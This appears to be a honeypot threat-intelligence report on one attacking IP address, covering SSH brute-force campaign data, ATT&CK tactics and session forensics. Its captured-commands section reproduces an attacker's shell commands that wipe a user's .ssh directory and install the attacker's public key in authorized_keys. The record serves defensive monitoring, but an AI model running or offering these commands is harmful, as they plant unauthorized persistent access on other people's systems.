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Location
🇰🇷 KR / Mapo-gu
ASN
AS4766 · Korea Telecom
Cloud Provider
—
Total Events
168
Above average by volume
Agent Count
1
First / Last Seen
2026-05-11 05:33 — 2026-05-11 06:06
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (445 IPs, 72 countries)
HASSH
Active
high
🇭🇰 HK
445 IPs
253912 events
ssh:bruteforce
2026-02-28 — ongoing · 445 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
AS4766 Korea Telecom
ASN
Active
medium
🇰🇷 KR
30 IPs
13002 events
ssh:bruteforce
2026-02-18 — ongoing · 30 IPs from the same network (Korea Telecom, AS4766) were active during overlapping time periods. Temporal correlation across …
Session Forensics
Sessions
32 (2 with login)
Avg Depth Score
0.23
Commands Executed
3
Files Downloaded
1
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
4567dc87c434
LOGIN
1
50%
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HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
74a62963115d
LOGIN
3
1
1
100%
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HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…